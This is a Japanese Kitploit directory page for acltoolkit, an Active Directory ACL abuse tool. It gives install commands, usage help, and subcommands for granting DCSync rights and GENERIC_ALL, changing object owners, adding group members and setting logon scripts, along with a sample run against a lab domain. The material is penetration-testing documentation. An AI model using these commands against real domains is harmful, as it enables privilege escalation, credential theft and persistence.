Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
acltoolkit — Active Directory ACL乱用ツールキット:特権昇格、DCSync、オブジェクト所有権の変更、ログオンスクリプト操作およびグループメンバーシップ変更による水平移動のための | Kitploit
ツール/GitHubGitHub/zblurx/acltoolkit
特権昇格エクスプロイト横移動ポストエクスプロイトペネトレーションテスト
GitHubzblurx/acltoolkit

acltoolkit

Active Directory ACL乱用ツールキット:特権昇格、DCSync、オブジェクト所有権の変更、ログオンスクリプト操作およびグループメンバーシップ変更による水平移動のための

リポジトリを見る
1291363年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

acltoolkit

acltoolkit は、ACL 悪用のためのスイスアーミーナイフ的なツールです。複数の ACL 悪用を実装しています。

目次

  • acltoolkit
    • 目次
    • インストール
    • 使い方
    • コマンド
      • get-objectacl
      • set-objectowner
      • give-genericall
      • give-dcsync
      • add-groupmember
      • set-logonscript

インストール

root@kitploit:~
pip install acltoolkit-ad

または

root@kitploit:~
git clone https://github.com/zblurx/acltoolkit.git
cd acltoolkit
make

使い方

root@kitploit:~
usage: acltoolkit [-h] [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-scheme ldap scheme]
                  target {get-objectacl,set-objectowner,give-genericall,give-dcsync,add-groupmember,set-logonscript} ...

ACL abuse swiss-army knife

positional arguments:
  target                [[domain/]username[:password]@]<target name or address>
  {get-objectacl,set-objectowner,give-genericall,give-dcsync,add-groupmember,set-logonscript}
                        Action
    get-objectacl       Get Object ACL
    set-objectowner     Modify Object Owner
    give-genericall     Grant an object GENERIC ALL on a targeted object
    give-dcsync         Grant an object DCSync capabilities on the domain
    add-groupmember     Add Member to Group
    set-logonscript     Change Logon Sript of User

options:
  -h, --help            show this help message and exit
  -debug                Turn DEBUG output ON
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the
                        command line
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -scheme ldap scheme

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

コマンド

get-objectacl

root@kitploit:~
$ acltoolkit get-objectacl -h
usage: acltoolkit target get-objectacl [-h] [-object object] [-all]

options:
  -h, --help      show this help message and exit
  -object object  Dump ACL for <object>. Parameter can be a sAMAccountName, a name, a DN or an objectSid
  -all            List every ACE of the object, even the less-interesting ones

get-objectacl は、-object オプションで指定された sAMAccountName、名前、DN、または objectSid を入力として受け取り、そのオブジェクトの Sid、Name、DN、Class、adminCount、設定された LogonScript、Primary Group、Owner、DACL を一覧表示します。パラメータが指定されない場合は、認証に使用されたアカウントに関する情報を表示します。

root@kitploit:~
$ acltoolkit waza.local/jsmith:Password#[email protected] get-objectacl
Sid                 : S-1-5-21-267175082-2660600898-836655089-1103
Name                : waza\John Smith
DN                  : CN=John Smith,CN=Users,DC=waza,DC=local
Class               : top, person, organizationalPerson, user
adminCount          : False

Logon Script
  scriptPath        : \\WAZZAAAAAA\OCD\test.bat
  msTSInitialProgram: \\WAZZAAAAAA\OCD\test.bat

PrimaryGroup
  Sid               : S-1-5-21-267175082-2660600898-836655089-513
  Name              : waza\Domain Users
  DN                : CN=Domain Users,OU=Builtin Groups,DC=waza,DC=local

[...]

OwnerGroup
  Sid               : S-1-5-21-267175082-2660600898-836655089-512
  Name              : waza\Domain Admins

Dacl
  ObjectSid         : S-1-1-0
  Name              : Everyone
  AceType           : ACCESS_ALLOWED_OBJECT_ACE
  AccessMask        : 256
  ADRights          : EXTENDED_RIGHTS
  IsInherited       : False
  ObjectAceType     : User-Change-Password

[...]

  ObjectSid         : S-1-5-32-544
  Name              : BUILTIN\Administrator
  AceType           : ACCESS_ALLOWED_ACE
  AccessMask        : 983485
  ADRights          : WRITE_OWNER, WRITE_DACL, GENERIC_READ, DELETE, EXTENDED_RIGHTS, WRITE_PROPERTY, SELF, CREATE_CHILD
  IsInherited       : True

set-objectowner

root@kitploit:~
$ acltoolkit set-objectowner -h
usage: acltoolkit target set-objectowner [-h] -target-sid target_sid [-owner-sid owner_sid]

options:
  -h, --help            show this help message and exit
  -target-sid target_sid
                        Object Sid targeted
  -owner-sid owner_sid  New Owner Sid

set-objectowner は、ターゲット SID とオーナー SID を入力として受け取り、ターゲットオブジェクトのオーナーを変更します。

give-genericall

root@kitploit:~
$ acltoolkit give-genericall -h
usage: acltoolkit target give-genericall [-h] -target-sid target_sid [-granted-sid owner_sid]

options:
  -h, --help            show this help message and exit
  -target-sid target_sid
                        Object Sid targeted
  -granted-sid owner_sid
                        Object Sid granted GENERIC_ALL

give-genericall は、ターゲット SID と付与 SID を入力として受け取り、ターゲットオブジェクトに対して付与 SID に GENERIC_ALL DACL を付与します。

give-dcsync

root@kitploit:~
$ acltoolkit give-dcsync -h
usage: acltoolkit target give-dcsync [-h] [-granted-sid owner_sid]

options:
  -h, --help            show this help message and exit
  -granted-sid owner_sid
                        Object Sid granted DCSync capabilities

give-dcsync は、付与 SID を入力として受け取り、その SID に DCSync 機能を付与します。

add-groupmember

root@kitploit:~
$ acltoolkit add-groupmember -h
usage: acltoolkit target add-groupmember [-h] [-user user] -group group

options:
  -h, --help    show this help message and exit
  -user user    User added to a group
  -group group  Group where the user will be added

add-groupmember は、ユーザーの sAMAccountName とグループの sAMAccountName を入力として受け取り、そのユーザーをグループに追加します。

set-logonscript

root@kitploit:~
$ acltoolkit set-logonscript -h
usage: acltoolkit target set-logonscript [-h] -target-sid target_sid -script-path script_path [-logonscript-type logonscript_type]

options:
  -h, --help            show this help message and exit
  -target-sid target_sid
                        Object Sid of targeted user
  -script-path script_path
                        Script path to set for the targeted user
  -logonscript-type logonscript_type
                        Logon Script variable to change (default is scriptPath)

set-logonscript は、ターゲット SID とスクリプトパスを入力として受け取り、ターゲットユーザーのログオンスクリプトパスを指定されたスクリプトパスに変更します。

ツールをダウンロード